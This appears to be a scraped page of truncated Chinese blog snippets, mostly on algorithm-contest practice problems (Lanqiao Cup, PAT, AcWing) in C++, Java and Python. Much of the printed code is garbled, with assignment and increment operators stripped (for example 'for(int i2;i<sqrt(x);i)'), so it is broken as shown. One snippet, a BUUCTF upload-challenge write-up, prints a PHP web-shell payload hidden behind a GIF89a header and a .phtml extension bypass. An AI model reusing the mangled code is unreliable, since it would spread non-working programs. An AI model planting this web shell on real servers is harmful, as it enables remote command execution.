&#x1f468;‍&#x1f4bb;作者简介&#xff1a;练习时长两年半的java博主 &#x1f4d6;个人主页&#xff1a;君临๑ &#x1f39e;️文章介绍&#xff1a;2023年第十四届蓝桥杯javaB组省赛真题 &#x1f389;所属专栏&#xff1a;算法专栏 &#x1f381; ps&#xff1a;点…

Python:每日一题之剪格子(DFS剪枝)

题目描述 如下图所示&#xff0c;3 x 3 的格子中填写了一些整数。 我们沿着图中的红色线剪开&#xff0c;得到两个部分&#xff0c;每个部分的数字和都是 60。 本题的要求就是请你编程判定&#xff1a;对给定的 mn 的格子中的整数&#xff0c;是否可以分割为两个部分&#xf…

【蓝桥云课】加密解密和困难的串

一、字符串的基础操作 charAt(index)&#xff1a;获取字符串索引为index的字符 substring(index1, index2)&#xff1a;从索引index1(包含)到索引index2(不包含)截取字符串 indexOf(s)&#xff1a;获取字符s的索引 contains(s)&#xff1a;字符串是否包含字符s split(char)&am…

等差素数列(暴力)

填空能出结果&#xff0c;但是代码时间超时 #include <iostream> #include <cmath> using namespace std; bool Isprime(int x) { for(int i2;i<sqrt(x);i) { if(x%i0) { return false; } } return x!1; …

【科技素养】蓝桥杯STEMA 科技素养组模拟练习试卷14

单选题 1、下列现象中有化学变化发生的是 A、蜡烛融化 B、冰块融化 C、电磁炉烧开水 D、铁生锈 答案&#xff1a;D 2、把左边的图形用剪刀剪开&#xff0c;拼成右边的正方形&#xff0c;至少剪几刀 A、1 B、2 C、3 D、4 答案&#xff1a;B 3、能够检验土壤中有沙和粘…

深度优先搜索(DFS)-蓝桥杯

一、搜索搜索是“暴力法”算法思想的具体实现。搜索是“通用”的方法。一个问题&#xff0c;如果比较难&#xff0c;那么先尝试一下搜索&#xff0c;或许能启发出更好的算法。技巧:竞赛时遇到不会的难题&#xff0c;用搜索提交一下&#xff0c;说不定部分判题数据很弱&#xff…

蓝桥杯双周赛算法心得——摆玩具(分段的差不计入结果)

大家好&#xff0c;我是晴天学长&#xff0c;这是一道可以牢记的数学技巧题。 1) .摆玩具 2) .算法思路 1.创建一个Scanner对象以从用户读取输入。 2.从用户读取n和k的值&#xff0c;分别表示数组的大小和k的值。 3.创建一个大小为n的整数数组a&#xff0c;用于存储输入的数…

蓝桥杯2013年第四届真题-核桃的数量

这题就是变向地求最小公倍数,因为这样才能 各组平分核桃 。 最大公因数和最小公倍数的相关性质&#xff1a;两数的乘积除以最大公因数就是最小公倍数 我们用辗转相除法来求最大公倍数&#xff0c;其方法是用较大的数除以较小的数&#xff0c;上面较小的除数和得出的余数构成新…

KMP 自用

这个巨巨讲的简单易懂&#xff1a;KMP 算法详解 - AcWing 配合动画更易理解&#xff1a;KMP模式搜索算法动画演示 KMP是一种高效的字符串匹配算法&#xff0c;用来在主字符串中查找模式字符串的位置&#xff08;如&#xff1a;在字符串“Hello&#xff0c;world&#xff01;”…

Python基础算法训练——循环训练(26~30)

26. 菱形图形 【题目描述】 输入一个正整数 n,输出用 1 至 (2n−1) 的数字组成的菱形。 【输入】 输入正整数 n(1≤n≤10)。 【输出】 输出画出的图形。 【输入样例】 3 【输出样例】 1 123 12345 123 1 # 样例代码 n=int(input()) for i in range(1, n + 1):print(…

蓝桥杯物联网竞赛_STM32L071_2_继电器控制

CubeMX配置&#xff1a; Function.c及Function.h&#xff1a; #include "Function.h" #include "gpio.h" void Function_LD5_ON(void){HAL_GPIO_WritePin(LD5_GPIO_Port, LD5_Pin, GPIO_PIN_RESET); }void Function_LD5_OFF(void){HAL_GPIO_WritePin(LD5_…

【蓝桥杯】刷题

刷题网站 记录总结刷题过程中遇到的一些问题 1、最大公约数与最小公倍数 a,bmap(int,input().split())sa*bwhile a%b:a,bb,a%bprint(b,s//b)2.迭代法求平方根(题号1021) #include<stdio.h> #include<math.h> int main() {double x11.0,x2;int a;scanf("%d&…

buuctf-[极客大挑战 2019]Upload1

上传php,jpg,png,gif都报错 然后看wp GIF89a? <script language"php">eval($_REQUEST[feng])</script> 用这一串GIF89a伪造gif文件就行 真的上传不了假的上传成功了&#xff0c;就满脸问号 把后缀名改成phtml 因为没告诉文件上传后的位置&#xff…

Java基础之接口(interface)详解

对Java核心技术卷的一个简单笔记 目录 前言1.接口的概念2.接口的声明格式3.接口的属性4.接口和抽象类的区别5.继承和接口混合使用的一些规则6.继承父类和实现接口时的一些同名冲突问题6.1方法名冲突6 .2常量名冲突 前言 总结一下基础阶段接口常见的问题 1.接口的概念 接口 &…

牛客竞赛网(圆)

题目描述 scimoon 做不出题&#xff0c;随手在纸上画了两个正圆 第一个圆圆心为 (x1,y1) &#xff0c;半径为 r1 第二个圆圆心为 (x2,y2) &#xff0c;半径为 r2 这两个圆的圆弧有没有交呢 输入描述: 第一行一个正整数 T&#xff0c;表示数据组数接下来 T 行&#xff0c;每行…

路径之谜

题目描述 小明冒充 X 星球的骑士,进入了一个奇怪的城堡。 城堡里边什么都没有,只有方形石头铺成的地面。 假设城堡地面是 nn 个方格。如下图所示。

蓝桥杯每日一题2023.10.8

题目描述 七段码 - 蓝桥云课 (lanqiao.cn) 题目分析 所有的情况我们可以分析出来一共有2的7次方-1种&#xff0c;因为每一个二极管都有选择和不选择两种情况&#xff0c;有7个二极管&#xff0c;但是还有一种都不选的情况需要排除&#xff0c;故-1 枚举每个方案看是否符合要…

Python字典-- 内附蓝桥题:统计数字

字典 ~~不定时更新&#x1f383;&#xff0c;上次更新&#xff1a;2023/02/28 &#x1f5e1;常用函数&#xff08;方法&#xff09; 1. dic.get(key) --> 判断字典 dic 是否有 key&#xff0c;有返回其对应的值&#xff0c;没有返回 None 举个栗子&#x1f330; dic …

蓝桥杯嵌入式第八课--EEPROM读写

前言E2PROM的读写主要是考察IIC的使用&#xff0c;但是在比赛当中I2C的各种驱动文件都是直接给出的&#xff0c;因此我们需要做的工作就是根据EEPROM的读写时序配出读写的函数来。EEPROM硬件连接图我们可以看到IIC的数据线&#xff08;已上拉&#xff09;有两路去处&#xff0c…

第十三届蓝桥杯省赛C++ A组 爬树的甲壳虫(简单概率DP)

题目如下&#xff1a; 思路 or 题解&#xff1a; 概率DP 状态定义&#xff1a; dp[i]dp[i]dp[i] 表示从树根到第 iii 层的期望 状态转移&#xff1a; dp[i](dp[i−1]1)∗11−pdp[i] (dp[i - 1] 1) * \frac{1}{1-p}dp[i](dp[i−1]1)∗1−p1​ 这个式子的意思是&#xff1a;…

蓝桥杯算法心得——仙界诅咒(dfs)

大家好&#xff0c;我是晴天学长&#xff0c;搜索型的dfs&#xff0c;差点开二维矩阵了&#xff0c;仔细一想&#xff0c;没那么夸张啊&#xff0c;哈哈哈&#xff0c;需要的小伙伴可以关注支持一下哦&#xff01;后续会继续更新的。&#x1f4aa;&#x1f4aa;&#x1f4aa; 1…

蓝桥杯刷题十一

1.完全二叉树的权值暴力去解就行了#include <bits/stdc.h> using namespace std; const int N1e510; int a[N]; long long mx-0x3f3f3f3f; int main() {int n;cin>>n;for(int i1;i<n;i)cin>>a[i];int depth0;for(int i1,d1;i<n;i*2,d){long long sm0;f…

单片机_CT107D训练平台电路原理图\蓝桥杯训练板\IO扩展模块\74HC138译码器

74HC138译码器&#xff08;实现3个IO口控制8个引脚实现IO口的扩展&#xff09; 配置信号放大模块&#xff0c;可以对输入的低电压模拟信号进行放大&#xff1b; 配置 138 译码器&#xff0c;可以做译码实验&#xff1b; 外设可以用存储器映射方式访问&#xff0c;也可以直接控…

后缀表达式

题目 解析 看到这个题&#xff0c;首先想到的贪心思路就是尽量加大的数&#xff0c;减去小的数。但是&#xff01;这样的思路是错的&#xff01; 题目中给定的是一个后缀表达式&#xff0c;后缀表达式转化成中缀表达式之后实际上是可以带括号的&#xff01;也就是说可以用减号…

LeetCode:142. 环形链表 II

&#x1f34e;道阻且长&#xff0c;行则将至。&#x1f353; &#x1f33b;算法&#xff0c;不如说它是一种思考方式&#x1f340; 算法专栏&#xff1a; &#x1f449;&#x1f3fb;123 题解目录 一、&#x1f331;[142. 环形链表 II](https://leetcode.cn/problems/linked-l…

蓝桥杯 大写字符串 模拟

问题描述 小蓝有一个由大写字母 ABCDEF 组成的字符串 S &#xff0c;长度为 n&#xff0c;字符串的下标依次为 0 到 n-1 。   小蓝按照如下方法生成一个无限长的字符串&#xff1a;   首先选定一个 0 到 n-1 之间的数&#xff0c;作为初始下标。   从初始下标开始&#x…

【C语言程序】输出杜甫的《绝句》(有无返回值两种方法)

题出自-------------------------------零基础学C语言 1.没有返回值 #include<stdio.h> void jueju(); int main() {jueju();return 0; } void jueju()/*void代表没有返回值&#xff0c;这和main函数是一致的*/ {printf("绝句\n杜甫\n两个黄鹂鸣翠柳&#xff0c;\…

矩阵快速幂算法及相关应用(含python源码)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录一、快速幂算法&#xff08;概述&#xff09;二、整数快速幂&#xff08;源码&#xff09;三、矩阵快速幂&#xff08;源码&#xff09;四、矩阵快速幂的应用1.矩阵构…

C++ 函数模板实例二

利用函数模板封装一个排序的函数&#xff0c;可以对不同数据类型数组进行排序 排序规则从大到小 分别利用char数组和int数组进行测试 #include <iostream> #include <vector> #include <string>using namespace std;template<class T> void printMs…

字母回型矩阵

Description 一个n行m列的字母回型矩阵可由如下方法生成&#xff1a;从矩阵的左上角&#xff08;第1行第1列&#xff09;出发&#xff0c;初始时向右移动&#xff1b;如果前方是未曾经过的格子&#xff0c;则继续前进&#xff0c;否则右转&#xff1b;重复上述操作直至经过矩阵…

PAT甲级 1102 Invert a Binary Tree

update202301 map层序遍历自动排序&#xff0c;ind保存index的最大值 #include<iostream> #include<algorithm> #include<string> #include<vector> #include<map> using namespace std; string arr[20][2], t0, t1; map<int, int> lev…

PAT甲级 1099 Build A Binary Search Tree

二叉搜索树&#xff0c;左<根<右&#xff0c;中序遍历是“左根右”&#xff0c;所以中序遍历一定是从小到大排列的。 或者左>根>右&#xff0c;从大到小排列 不能AC的codes仅作错误示例&#xff0c;层序用index会出错可能越界 > long long最大值&#xff0c;主…

迷宫(一)

一天蒜头君掉进了一个迷宫里面&#xff0c;蒜头君想逃出去&#xff0c;可怜的蒜头君连迷宫是否有能逃出去的路都不知道。 看在蒜头君这么可怜的份上&#xff0c;就请聪明的你告诉蒜头君是否有可以逃出去的路。 输入格式 第一行输入两个整数 nn 和 mm&#xff0c;表示这是一个…

PAT甲级1048 Find Coins

自己写的内容&#xff1a; #include<iostream> #include<vector> #include<bits/stdc.h>using namespace std;int main(void){int i, j, k, m, n, h, mm, nn;cin>>m>>n;vector<int> v;for(i0; i<m; i){cin>>h;v.push_back(h);}s…

PAT甲级 1044 Shopping in Mars

自己实现的内容&#xff1a; #include<iostream> #include<vector> #include<string> #include<map> #include<bits/stdc.h>using namespace std;typedef struct _record{int start;int end; }record;bool compare(const record& a, const…

C++笔记 STL 仿函数

最近再看STL源码的时候看到里面的实现用了大量的仿函数&#xff0c;然后上网搜集了一些关于仿函数的知识。 Functor&#xff08;仿函数&#xff09;, 或者称之为function object(函数对象)&#xff0c; 是STL的四大组件之一。 仿函数是一个能行使函数功能的类。 本质&#xff1…

C++笔记 10个评委打分,去掉一个最低分和一个最高分,输出平均分 采用C++实现,评委打分采用随机数。生成60-100的随机整数

有五名选手 选手 A B C D E &#xff0c; 10个评委分别对每一名选手进行打分&#xff0c; 去掉一个最高分&#xff0c;去掉一个最低分&#xff0c;取平均分。 采用C实现&#xff0c;评委打分采用随机数。生成60-100的随机整数 案例描述 有5名选手&#xff1a;选手ABCDE&…

1月13日学习总结---搜索

给一n \times nnn的字母方阵&#xff0c;内可能蕴含多个“yizhong”单词。单词在方阵中是沿着同一方向连续摆放的。摆放可沿着 88 个方向的任一方向&#xff0c;同一单词摆放时不再改变方向&#xff0c;单词与单词之间可以交叉,因此有可能共用字母。输出时&#xff0c;将不是单…

2.纪念日(蓝桥杯C/C++ B组真题详解)

题目&#xff1a; 2020 年 7 月 1 日是中国 共 产 党 成立 99 周年纪念日。 中国 共 产 党 成立于 1921 年 7 月 23 日。 请问从 1921 年 7 月 23 日中午 12 时到 2020 年 7 月 1 日中午 12 时一共包含多少分钟&#xff1f; 题目思路&#xff1a; 我们先单独把 1921年7月23日…

136.只出现一次的数字 重点思想总结

136.只出现一次的数字 给定一个非空整数数组&#xff0c;除了某个元素只出现一次以外&#xff0c;其余每个元素均出现两次。找出那个只出现了一次的元素。 输入: [2,2,1] 输出: 1 260. 只出现一次的数字 III 给定一个整数数组 nums&#xff0c;其中恰好有两个元素只出…

CF510B Fox And Two Dots

题目描述 Fox Ciel is playing a mobile puzzle game called "Two Dots". The basic levels are played on a board of size nmnm cells, like this: Each cell contains a dot that has some color. We will use different uppercase Latin characters to express …

算法竞赛中的常用JAVA API :String 、StringBuilder、StringBuffer常用方法和区别

文章目录摘要String:String的遍历String的比较搜索子字符串字符串拆分提取子字符串子串的替换转换大小写将其他类型的数据转化为字符串StringBulider构造方法遍历增加删除修改查找字符串反转字符串截取摘要 本文将介绍String、StringBuilder类的常用方法。 在java中String类不可…

JAVA基础语法:函数(方法)、类和对象

文章目录函数static修饰符类和对象了解其他JAVA 常用API和算法点这里 >> https://blog.csdn.net/GD_ONE/article/details/104061907 函数 在java中函数也称为方法&#xff0c;是一段具备某种功能的可重用代码块。 一个函数包括这几部分&#xff1a; 函数头 函数头包括函…

堆栈作业1:实现顺序栈(字符型数据为例)

#include<cstdio> #include<cstring> #include<algorithm> #include <iostream> using namespace std; //堆栈类 const int Max 100; class Stack//栈类的定义&#xff08;字符型数据为例&#xff09; { private:char* date;//数据域int size;//堆栈的…

快速排序思想 瑶瑶的第K大

一天&#xff0c;萌萌的妹子--瑶瑶(tsyao)很无聊&#xff0c;就来找你玩。可是你们都不知道玩什么。。。尴尬了一阵子&#xff0c;机智的瑶瑶就提议&#xff1a;“这样吧&#xff0c;你说N个整数xi&#xff0c;然后在随意说一个数字k&#xff0c;我能够快速地说出这些数字里面第…

Lc88. 合并两个有序数组(java)

给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2&#xff0c;另有两个整数 m 和 n &#xff0c;分别表示 nums1 和 nums2 中的元素数目。 请你 合并 nums2 到 nums1 中&#xff0c;使合并后的数组同样按 非递减顺序 排列。 注意&#xff1a;最终&#xff0c;合并后数组…

c++ 归并排序

#include<iostream>using namespace std; const int maxn 9; int a[maxn] {0,8,4,5,7,1,3,6,2}; int temp[maxn]; //排序 void merg(int l , int r , int mid){cout<<l <<" "<<r<<endl;int i,j,p;i l;j mid;p l;//指向的是temp的…

Lc344. 反转字符串

编写一个函数&#xff0c;其作用是将输入的字符串反转过来。输入字符串以字符数组 s 的形式给出。 不要给另外的数组分配额外的空间&#xff0c;你必须原地修改输入数组、使用 O(1) 的额外空间解决这一问题。 示例 1&#xff1a; 输入&#xff1a;s ["h","e&…

801. 二进制中1的个数

#include <iostream> #include <cstring> #include <algorithm>using namespace std; int n;int main() {cin>>n;while (n -- ){int x;cin>>x;int cnt0;while(x){if(x&11) cnt;//取出每一位 与 1 进行与运算 相同为 1 不同为 0x>>1;//…

双指针算法 (模板题:最长连续不重复子序列 数组元素的目标和 判断子序列)

最长连续不重复子序列 #include<iostream> using namespace std; const int N1e510; int s[N],a[N];int main() {int n;cin>>n;for(int i0;i<n;i) cin>>a[i];//将数据放进来int res0;//答案for(int i0,j0;i<n;i)//双指针算法{s[a[i]];//s[a[i]]表示 a[…

shocked what dfs 可以这样用 带分数

//枚举 a 枚举 c 最后用 c*n-a*c 求出 b 来检测 b 即可 //dfs_a(u,a) 用了u个数 a的值为a //dfs_c(u,a,c) 用了u个数 a的值为a c的值为c //c*n-a*c 求出b 然后将b每一位拿出来 看看是否用过 或者 是否有 0 全检测完 看看所有数是否用过 #include<iostream> #include<…

AcWing 902. 最短编辑距离

给定两个字符串 AA 和 BB&#xff0c;现在要将 AA 经过若干操作变为 BB&#xff0c;可进行的操作有&#xff1a; 删除–将字符串 AA 中的某个字符删除。插入–在字符串 AA 的某个位置插入某个字符。替换–将字符串 AA 中的某个字符替换为另一个字符。 现在请你求出&#xff0c…

单调队列 滑动窗口

总结&#xff1a; 1、队头如果超出窗口范围 hh 2、对于队尾处理&#xff0c;保证队列单调性 3、将元素入队 4、判断滑动窗口里数是否达到k个数 满足输出。 如果 -1 比 -3 大 而且 -1在 &#xff0c; -3也一定在&#xff0c;那么-1就用不到&#xff0c;可以删去。 最后队列…

一篇文章搞懂离散化 (例题:区间和)

一、先搞懂什么是离散化&#xff0c;为什么要离散化&#xff1f; 为什么需要离散化&#xff1a;可能题目会给我们一堆数据&#xff0c;这堆数据值域很大可能是[0,1e9]&#xff0c;但是这对数据个数很少&#xff0c;可能只有[0,1e5]&#xff0c;那么就需要离散化&#xff01; 什…

最长上升子序列Ⅰ

895. 最长上升子序列 - AcWing题库 #include<iostream> #include<algorithm> using namespace std;const int N1010; int f[N],a[N]; int n;int main() {scanf("%d",&n);for(int i1;i<n;i) scanf("%d",&a[i]);for(int i1;i<n;i…

求组合数 四种

885. 求组合数 I - AcWing题库 #include<iostream> using namespace std;const int mod1e97,N2010; int c[N][N];void init() {//i中选j个for(int i0;i<N;i)for(int j0;j<i;j)if(!j) c[i][j]1;else c[i][j](c[i-1][j]c[i-1][j-1])%mod; }int main() {int n;scanf(&…

快速幂及快速幂求逆元

875. 快速幂 - AcWing题库 #include<iostream> using namespace std;typedef long long LL;//a^k%p int qmi(int a,int k,int p) {int res1;while(k)//取指数的二进制位{if(k & 1) res(LL)res * a % p;k>>1;a(LL)a * a % p;//进制}return res; }int main() {in…

861. 二分图的最大匹配

匈牙利算法&#xff1a;左边是男生&#xff0c;右边是女生&#xff0c;要求找到最多的情侣对。 就是遍历每一个男生&#xff0c;看看有感觉的的女生如果没有男朋友则匹配成功&#xff0c;如果有男朋友就叫她男朋友看看能不能换一个女朋友&#xff0c;能的话则匹配成功。 861. …

AcWing 848.有向图的拓扑序列

#include<iostream> #include<cstring> #include<algorithm>using namespace std; const int N 1e510;int n,m; int h[N],e[N],ne[N],idx; int d[N],q[N];// d 存储入度 q 存放队列void add(int a,int b) {e[idx] b, ne[idx] h[a], h[a] idx; }bool tops…

AcWing 847.图中点的层次

847. 图中点的层次 - AcWing题库 #include<iostream> #include<queue> #include<cstring> using namespace std; const int N1e510; int n,m; int h[N],e[N],ne[N],idx; int d[N];//距离void add(int a,int b) {e[idx]b,ne[idx]h[a],h[a]idx; }int bfs(int …

AcWing 240.食物链

三种动物种类&#xff0c;他们之间互吃&#xff1a; 之后k句话&#xff0c;有真有假&#xff0c;三个判别条件&#xff1a; 具体解释: 1.如果前面说了X吃Y&#xff0c;后面再说Y吃X&#xff0c;那么显然&#xff0c;Y吃X是假话。 2.如果一共只有100号动物&#xff0c;他说100…

蓝桥杯python笔记(未完待续)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录&#xff08;一&#xff09;解题惯用&#xff1a;0、库函数1、读入&#xff1a;2、输出&#xff1a;3、列表&#xff1a;4、字符串&#xff1a;5、字典&#xff1a;6…

PAT甲级 1076 Forwards on Weibo

和普通的节点不相同的图不相同&#xff0c;这里的节点可能会重复&#xff0c;同个follower可能存在多层的&#xff0c;deepth first 会存在先访问了左侧的3然后令状态true&#xff0c;然后右侧节点的3之后的follower就访问不到了&#xff0c;所以最好用width first加status判断…

PAT甲级 1072 Gas Station

堆优化 #include<iostream> #include<vector> #include<string> #include<algorithm> #include<queue> #include<cmath> using namespace std; typedef pair<int, int> p; p r0, r1, r2; priority_queue<p, vector<p>, gr…

题目标题: 排它平方数

小明正看着 203879 这个数字发呆。 原来&#xff0c;203879 * 203879 41566646641 这有什么神奇呢&#xff1f;仔细观察&#xff0c;203879 是个6位数&#xff0c;并且它的每个数位上的数字都是不同的&#xff0c;并且它平方后的所有数位上都不出现组成它自身的数字。 具有这样…

蓝桥等考C++组别四级008

第一部分&#xff1a;选择题 1、C L4 &#xff08;15分&#xff09; 以下选项中&#xff0c;不是逻辑运算符的是&#xff08; &#xff09;。 A.< B.|| C.&& D.! 正确答案&#xff1a;A 2、C L4 &#xff08;15分&#xff09; 以下…

第九届蓝桥杯省赛——7缩位求和

题目&#xff1a;在电子计算机普及以前&#xff0c;人们经常用一个粗略的方法来验算四则运算是否正确。比如&#xff1a;248 * 15 3720把乘数和被乘数分别逐位求和&#xff0c;如果是多位数再逐位求和&#xff0c;直到是1位数&#xff0c;得2 4 8 14 > 1 4 5;1 5 65…

Leedcode 1011. 在 D 天内送达包裹的能力 Python

题目 传送带上的包裹必须在 days 天内从一个港口运送到另一个港口。 传送带上的第 i 个包裹的重量为 weights[i]。每一天&#xff0c;我们都会按给出重量&#xff08;weights&#xff09;的顺序往传送带上装载包裹。我们装载的重量不会超过船的最大运载重量。 返回能在 days…

【蓝桥杯集训·每日一题】AcWing 3792. 质数问题

文章目录一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解三、知识风暴筛质数埃氏筛法线性筛法一、题目 1、原题链接 3792. 质数问题 2、题目描述 给定两个整数 n 和 k&#xff0c;请你判断在 [2,n] 的范围内是否存在不少于 k 个质数&#xff…

2020蓝桥杯真题数位递增的数 C语言/C++

题目描述 一个正整数如果任何一个数位不大于右边相邻的数位&#xff0c;则称为一个数位递增的数。 例如 1135 是一个数位递增的数&#xff0c;而 1024 不是一个数位递增的数。 给定正整数 n&#xff0c;请问在整数 1 至n 中有多少个数位递增的数&#xff1f; 输入描述 输入的…

蓝桥杯基础-【切面条】的解题思路,图都不用画

我们先来看【切面条】的题目&#xff1a; 一根高筋拉面&#xff0c;中间切一刀&#xff0c;可以得到2根面条。 如果先对折1次&#xff0c;中间切一刀&#xff0c;可以得到3根面条。 如果连续对折2次&#xff0c;中间切一刀&#xff0c;可以得到5根面条。 那么&#xff0c;连续…

蓝桥杯嵌入式 cubeMX生成代码解读

文章目录前言一、代码风格二、为什么要这些注释&#xff1f;三、生成的独立模块的代码总结前言 本篇文章讲介绍一下cubeMX生成代码的风格。 一、代码风格 在main.c中可以看到非常多的注释代码&#xff0c;很多人都不知道这些是用来干嘛的&#xff0c;现在就给大家介绍一下这…

蓝桥杯-飞行员兄弟

项目场景&#xff1a; 开关问题&#xff0c;思维题&#xff0c;二进制枚举思路。 问题描述 “飞行员兄弟”这个游戏&#xff0c;需要玩家顺利的打开一个拥有 16 个把手的冰箱。 已知每个把手可以处于以下两种状态之一&#xff1a;打开或关闭。 只有当所有把手都打开时&…

《蓝桥杯每日一题》背包dp·AcWing3382. 整数拆分

1.题目一个整数总可以拆分为 2 的幂的和。例如&#xff1a;7 可以拆分成7124,71222,71114,711122,7111112,71111111共计 6 种不同拆分方式。再比如&#xff1a;4可以拆分成&#xff1a;44 ,41111,422 ,4112。用 f(n) 表示 nn 的不同拆分的种数&#xff0c;例如 f(7)6。要求编写…

C++蓝桥杯 真题 跑步锻炼

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 小蓝每天都锻炼身体。正常情况下&#xff0c;小蓝每天跑 1 千米。如果某天是周一或者月初&#xff08;1 日&#xff09;&#xff0c;为了激励自己&#xff0c;小蓝要…

【基础算法】表达式计算

中缀表达式:我们平常见到的正常数学式子 后缀表达式&#xff1a;12-3* 后缀表达式对于计算机很容易计算&#xff0c;只需要从头部扫描字符串。然后遇到数字就入栈&#xff0c;遇到运算符就取出栈顶的两个数进行运算。最后把运算结果入栈&#xff0c;最后栈中就会剩一个数为答…

STM32G431-基于HAL库(第十四届蓝桥杯嵌入式模拟题2)

文章目录前言一、CubeMX配置(第十四届模拟题2完整版)二、代码相关定义、声明1.函数声明2.宏定义3.变量定义三、主要函数1.按键扫描2.各参数控制3.LCD显示4.输出信号改变5.串口接收6.Main函数四、实验结果1.数据页12.数据页23.输出频率4.串口数据五、查漏补缺&#xff01;六、源…

选数异或(蓝桥杯)JAVA

【题目描述】 给定一个长度为 n 的数列A1&#xff0c;A2&#xff0c;... , An 和一个非负整数 x。 给定 m 次查询, 每次询问能否从某个区间 [l, r] 中选择两个数使得他们的异或等于 x。 【输入格式】 输入第一行包含三个整数n,m,x。 第二行包含n个整数A1,A2,...,An。 接下来m…

2019蓝桥杯真题平方序列(填空题) C语言/C++

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 小明想找到两个正整数 X 和 Y&#xff0c;满足2019<X<Y;2019^2, X^2, Y^2组成等差数列。 请你求出在所有可能的解中&#xff0c;XY 的最小值是多少&#xff1f…

蓝桥杯C/C++VIP试题每日一练之龟兔赛跑预测

&#x1f49b;作者主页&#xff1a;静Yu &#x1f9e1;简介&#xff1a;CSDN全栈优质创作者、华为云享专家、阿里云社区博客专家&#xff0c;前端知识交流社区创建者 &#x1f49b;社区地址&#xff1a;前端知识交流社区 &#x1f9e1;博主的个人博客&#xff1a;静Yu的个人博客…

蓝桥杯嵌入式第十三届(第二套客观题)

文章目录 前言一、题目1二、题目2三、题目3四、题目4五、题目5六、题目6七、题目7八、题目8九、题目9十、题目10总结前言 本篇文章继续讲解客观题。 一、题目1 这个其实属于送分题,了解嵌入式或者以后想要入行嵌入式的同学应该都对嵌入式特点有所了解。 A. 采用专用微控制…

第十届蓝桥杯省赛——4质数(质数判断,数学函数:开方函数)

题目&#xff1a;试题 D: 质数本题总分&#xff1a;10 分【问题描述】我们知道第一个质数是 2、第二个质数是 3、第三个质数是 5……请你计算第 2019 个质数是多少&#xff1f;【答案提交】这是一道结果填空的题&#xff0c;你只需要算出结果后提交即可。本题的结果为一个整数&…

【蓝桥杯集训·每日一题】AcWing 1562. 微博转发

文章目录一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解三、知识风暴宽搜BFS一、题目 1、原题链接 1562. 微博转发 2、题目描述 微博被称为中文版的 Twitter。 微博上的用户既可能有很多关注者&#xff0c;也可能关注很多其他用户。 因此&am…

黑马程序员C++类和对象【5】 —— 运算符重载(蓝桥杯必备知识)万字超详解

目录 &#x1f921;加号运算符重载 &#x1f921;左移运算符重载 &#x1f921;递增运算符重载 &#x1f921;递减运算符重载 &#x1f921;赋值运算符重载 &#x1f921;关系运算符重载 &#x1f921;函数调用运算符重载&#xff08;仿函数&#xff09; &#x1f921;加…

[蓝桥杯 2022 省 A] 求和

[蓝桥杯 2022 省 A] 求和 题目描述 给定 nnn 个整数 a1,a2,⋯,ana_{1}, a_{2}, \cdots, a_{n}a1​,a2​,⋯,an​, 求它们两两相乘再相加的和&#xff0c;即 Sa1⋅a2a1⋅a3⋯a1⋅ana2⋅a3⋯an−2⋅an−1an−2⋅anan−1⋅anSa_{1} \cdot a_{2}a_{1} \cdot a_{3}\cdotsa_{1} \cd…

2022 第十四届蓝桥杯模拟赛第一期(题解与标程)

第十四届蓝桥杯模拟赛第一期1. 二进制位数问题描述答案提交参考答案2. 晨跑问题描述答案提交参考答案3. 调和级数问题描述答案提交参考答案程序验证4. 山谷问题描述答案提交参考答案5. 最小矩阵问题描述答案提交参考答案6. 核酸日期问题描述输入格式输出格式样例输入样例输出评…

acwing蓝桥杯 - 数学知识【下】

目录 欧拉函数 快速幂 求组合数 I 博弈论 Nim游戏 欧拉函数 在数论&#xff0c;对正整数n&#xff0c;欧拉函数是小于n的正整数中与n互质的数的数目&#xff0c;记作φ(n). φ(1)1 1、分解质因子&#xff0c;求出质因子p 2、将p带入&#xff0c;套公式 为了代码方便&#x…

【C语言程序】定义函数交换数值

题出自------------------------零基础学C语言 直接使用形式参数无法改变实际参数的&#xff0c;所以第一次交换是无效交换&#xff0c;后面取用参数的地址&#xff0c;直接改变地址中的值。 #include<stdio.h> void fun(int *m, int *n); int main() {int a24;int b19…

【C语言程序】判断用户输入的密码是否是6位(strlen()函数判断)

题出自-------------------------零基础学C语言 #include<stdio.h> #include<string.h> int main() {char user[20];puts("请输入密码&#xff1a;");gets_s(user);while (strlen(user) ! 6){puts("您输入的密码长度有问题&#xff01;\n请再次输入…

【C语言程序】一辆货车运输箱子,已知载货区宽,长,一个箱子宽,长,请问载货区一层可以放多少个箱子?(提示:箱子数量是一个整数,不存在半个箱子)(单位:米)。

题出自-----------------------------------零基础学C语言 #include<stdio.h>int main() {float a;float b;float a1;float b1;int sum1;int sum2;puts("一辆货车运输箱子&#xff1b;|\n请输入载货去长度&#xff1a;");scanf_s("%f", &a);put…

蓝桥杯之python基础

蓝桥杯之python基础一.问题与学习二、python基础的关键知识点2.1 Python 标识符2.2 行和缩进2.3 多行语句2.4 python引号2.5 python注释2.6 python空行2.7 等待用户输入2.8 同一行显示多条语句2.9 print()输出2.10 多个语句构成代码组三、python变量类型/标准数据类型3.1 变量赋…

2022蓝桥杯Java A组、B组

[蓝桥杯2022初赛] 裁纸刀 443 [蓝桥杯2022初赛] 求和 import java.io.IOException; import java.io.PrintWriter; import java.util.Scanner;public class Main {static Scanner cin;static PrintWriter cout;static long a[];static long sum[];public static void init() th…

蓝桥杯模板题目

A:::::::::::::::小王子单链表&#xff08;链表&#xff09; 题目描述 小王子有一天迷上了排队的游戏&#xff0c;桌子上有标号为 1−10 的 10 个玩具&#xff0c;现在小王子将他们排成一列&#xff0c;可小王子还是太小了&#xff0c;他不确定他到底想把那个玩具摆在哪里&…

走迷宫问题

目录 走迷宫 程序设计 程序分析 走迷宫 【问题描述】有一个m*n格的迷宫(表示有m行、n列),其中有可走的也有不可走的,如果用1表示可以走,0表示不可以走,输入这m*n个数据和起始点、结束点(起始点和结束点都是用两个数据来描述的,分别表示这个点的行号和列号)。现在要…

《程序设计基础》 第十一章 指针进阶 7-2 藏头诗 (15 分)

